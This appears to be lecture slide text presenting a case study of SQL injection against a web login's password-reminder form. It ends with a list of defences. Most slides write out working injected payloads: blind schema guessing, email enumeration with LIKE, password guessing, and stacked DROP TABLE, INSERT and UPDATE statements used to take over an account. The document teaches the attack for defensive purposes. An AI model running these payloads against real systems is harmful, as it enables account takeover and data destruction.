1. M M Waseem Iqbal

2.  Cause: Unverified/unsanitized user input  Effect: the application runs unintended SQL code.  Attack is particularly effective if the application is creating SQL strings on the fly and running them.

3.  No prior knowledge of the application or access to the source code.  A bit of poking showed that the server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server.

4.  The login page had a traditional username- and-password form, but also an email-me- my-password link.  We assume that the underlying SQL code for email-me-my-password looks like: SELECT fieldlist FROM table WHERE field = '$EMAIL';  No knowledge of the specific names of the fields or table involved.

5.  Entering a single quote as part of the data  To see if an SQL string is constructed without sanitizing.  For steve@unixwiz.net' constructed SQL: SELECT fieldlist FROM table WHERE field = 'steve@unixwiz.net' ';  Result: A 500 error (server failure)  SQL parser finds an extra quote mark  Suggests that the "broken" input is being parsed.

6.  For anything' OR 'x'='x constructed SQL: SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';  Possible Result: Should return every item in the table, but the response can be different for different applications.  Actual Result: Your login information has been mailed to random.person@example.com (possibly the first record returned by the query)random.person@example.com

7.  Observed three different responses to various inputs:  "Your login information has been mailed to email"  "We don't recognize your email address"  Server error  Well-formed SQL  Bad SQL

8.  Guessing some field names.  Reasonably sure that the query includes "email address" and "password", and there may be things like "Mail address" or "userid" or "phone number".  Cannot do a SHOW TABLE because:  Table name is not known.  Output of the command will not be shown to the attacker.  Stepwise Processing needs to be done.

9.  Know that tail end of the query is a comparison with the email address, let's assume email is the name of the field. Constructed SQL: SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --';  Not concerned about matching the email address, hence the dummy email x'.  -- marks the start of an SQL comment. (Consumes the final quote provided by application)  Why using AND conjunction instead of OR??  Used a proposed field name (email) in the constructed query to find out if the SQL is valid or not.

10.  Possible Outcomes:  “A server error”  bad field name.  “Email unknown" or "password was sent"  Guessed the name correctly.  Actual Outcome: "email address unknown“  So now we know the name of one field in the table  email  In case of any other response we would have tried different names for the field like email_address, mail.  A lot of guess work is involved here.

11.  Guessing some other obvious names: password, user ID, name etc., one at a time SELECT fieldlist FROM table WHERE email = 'x' AND userid IS NULL; --';  At the completion of this test, several field names were determined as:  email  passwd  login_id  full_name

12.  Consider the query: SELECT COUNT(*) FROM tabname  Returns the number of records in that table, and of course fails if the table name is unknown

13.  Constructed SQL: SELECT email, passwd, login_id, full_name FROM table WHERE email = ' x' AND 1=(SELECT COUNT(*) FROM tabname); -- ';  Not concerned about matching the email address, hence the dummy email x'.  Not concerned about how many records are there.  Only concerned if the table name is correct or not.  After several guesses  didn’t get server error for members.

14.  Is members the table used in this query?  Can be determined using table.field notation.  Constructed SQL: SELECT email, passwd, login_id, full_name FROM table WHERE email = ' x' AND members.email IS NULL; --';  Result: "Email unknown“  Confirmed that members is the table used in this query.

15.  Only know one email address: the random member who got the initial "Here is your password" email.  Getting some more names to work with, preferably those with access to more data.  Start with the company's website to find who is who.  The "About us" or "Contact" pages often list some email addresses.

16.  Consider a query with the LIKE clause:  Allows to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email.  Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions.

17.  Constructed SQL: SELECT email, passwd, login_id, full_name FROM members WHERE email = ' x' OR full_name LIKE '%Bob%';  Result: “Your login information has been mailed to bob@example.com “bob@example.com

18.  Once a valid email ID is known, we can attempt to guess passwords at the main login page by an exhaustive search.  But there could be logfiles, or account lockouts to detect/prevent this approach.  The other relatively safer approach for password guessing is to make use of the non- sanitized inputs.

19.  Constructed SQL: SELECT email, passwd, login_id, full_name FROM members WHERE email = ' bob@example.com' AND passwd = 'hello123';  Outcome: We'll know we found the password when we receive the "your password has been mailed to you" message.

20.  So far, everything has been done through SELECT, which is reading from the table.  SQL uses the semicolon for statement termination.  Since the input is not sanitized properly, so we can write our own unrelated command at the end of the query.

21.  Constructed SQL: SELECT email, passwd, login_id, full_name FROM members WHERE email = ' x'; DROP TABLE members; -- ';  1 st query: Not concerned about what this query returns.  2 nd query: attempts to drop table  Not required particularly.  But shows that not only can we run separate SQL commands, but we can also modify the database.

22.  Given that the partial structure of the members table is known, we can attempt to add a new record to the table.  If this works, we'll simply be able to login directly with our newly-inserted credentials.

23.  Constructed SQL: SELECT email, passwd, login_id, full_name FROM members WHERE email = ' x'; INSERT INTO members ('email','passwd','login_id','full_name') VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');-- ';

24.  Not enough room in the web form to enter this much text directly.  The web application user might not have INSERT permission on the members table.  There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.  Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.  A valid "member" might require not only a record in the members table, but associated information in other tables, so adding to one table alone might not be sufficient.

25.  If not able to add a new record to the members database, we still can modify an existing one.

26.  From test no. 6 we know that bob@example.com has an account on system. bob@example.com  Constructed SQL to update his database record with our email address: SELECT email, passwd, login_id, full_name FROM members WHERE email = ' x'; UPDATE members SET email = 'steve@unixwiz.net' WHERE email = 'bob@example.com ';

27.  Used the regular "I lost my password" link - with the updated email address - and a minute later received this email: From: system@example.com To: steve@unixwiz.net Subject: Intranet login This email is in response to your request for your Intranet log in information. Your User ID is: bob Your password is: hello

28.  Sanitize the input  Escape/Quotesafe the input (Escape Seq opr)  Use bound parameters (the PREPARE statement)  Limit database permissions and segregate users  Use stored procedures for database access  Isolate the webserver  Configure error reporting  MVC (Self Study)